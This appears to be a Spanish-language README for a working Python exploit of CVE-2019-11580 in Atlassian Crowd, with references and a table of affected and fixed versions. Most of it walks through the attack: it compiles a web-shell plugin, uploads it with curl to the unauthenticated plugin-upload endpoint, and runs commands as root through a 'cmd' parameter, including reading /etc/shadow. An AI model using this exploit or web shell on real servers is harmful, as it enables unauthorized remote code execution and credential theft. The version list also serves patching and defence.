
Exploit en Python para CVE-2019-11580, una vulnerabilidad de ejecución remota de código en Atlassian Crowd y Crowd Data Center. Sube un plugin malicioso para obtener acceso a una shell en el servidor objetivo.
python CVE-2019-11580.py http://xx.xx.xx.xx/

https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-2.11.0.tar.gz
Powered by Atlassian Crowd Version: 2.11.0 (Build:#725 - 2017-01-11)

http://10.10.20.166:8095/crowd/admin/uploadplugin.action

http://10.10.20.166:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow

javac -cp servlet-api.jar com/cdl/shell/exp.java
zip -r rce.jar atlassian-plugin.xml ./com
./compile.sh
updating: atlassian-plugin.xml (deflated 54%)
updating: com/ (stored 0%)
updating: com/cdl/ (stored 0%)
updating: com/cdl/shell/ (stored 0%)
updating: com/cdl/shell/exp.java (deflated 59%)
updating: com/cdl/shell/exp.class (deflated 45%)
curl -k -H "Content-Type: multipart/mixed" \
--form "[email protected]" http://10.10.20.166:8095/crowd/admin/uploadplugin.action
Installed plugin /opt/atlassian/crowd/apache-tomcat/temp/plugindev-1059463178748466378rce.jar
curl "http://10.10.20.166:8095/crowd/plugins/servlet/exp?cmd=whoami"
>>> root
curl "http://10.10.20.166:8095/crowd/plugins/servlet/exp?cmd=id"
>>> uid=0(root) gid=0(root) groups=0(root)
https://github.com/lc/research/blob/master/CVE-2019-11580/atlassian-shell/com/cdl/shell/Cdl.java
Idea de referencia: https://www.t00ls.net/articles-51978.html
Código original: String cmd="whoami";
Modificado a: String cmd=String.valueOf(req.getParameter("cmd"));
Versiones afectadas
Versión corregida
2.1.0, 2.1.1, 2.1.2, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.2.4, 2.2.5, 2.2.6, 2.2.7, 2.2.8, 2.2.9, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 2.3.4, 2.3.5, 2.3.6, 2.3.7, 2.3.8, 2.3.9, 2.3.10, 2.4.0, 2.4.1, 2.4.2, 2.4.3, 2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.5.4, 2.5.5, 2.5.6, 2.5.7, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.7.0, 2.7.1, 2.7.2, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.8.6, 2.8.7, 2.8.8, 2.9.1, 2.9.2, 2.9.3, 2.9.4, 2.9.5, 2.9.6, 2.9.7, 2.10.1, 2.10.2, 2.10.3, 2.10.4, 2.11.0, 2.11.1, 2.11.2, 2.12.0, 2.12.1, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4
3.0.5
3.1.0, 3.1.1, 3.1.2, 3.1.3, 3.1.4, 3.1.5
3.1.6
3.2.0, 3.2.1, 3.2.2, 3.2.3, 3.2.4, 3.2.5, 3.2.6, 3.2.7
3.2.8
3.3.0, 3.3.1, 3.3.2, 3.3.3, 3.3.4
3.3.5
3.4.0, 3.4.1, 3.4.2, 3.4.3
3.4.4
https://www.t00ls.net/articles-51978.html
https://www.corben.io/atlassian-crowd-rce/
https://github.com/lc/research/tree/master/CVE-2019-11580/atlassian-shell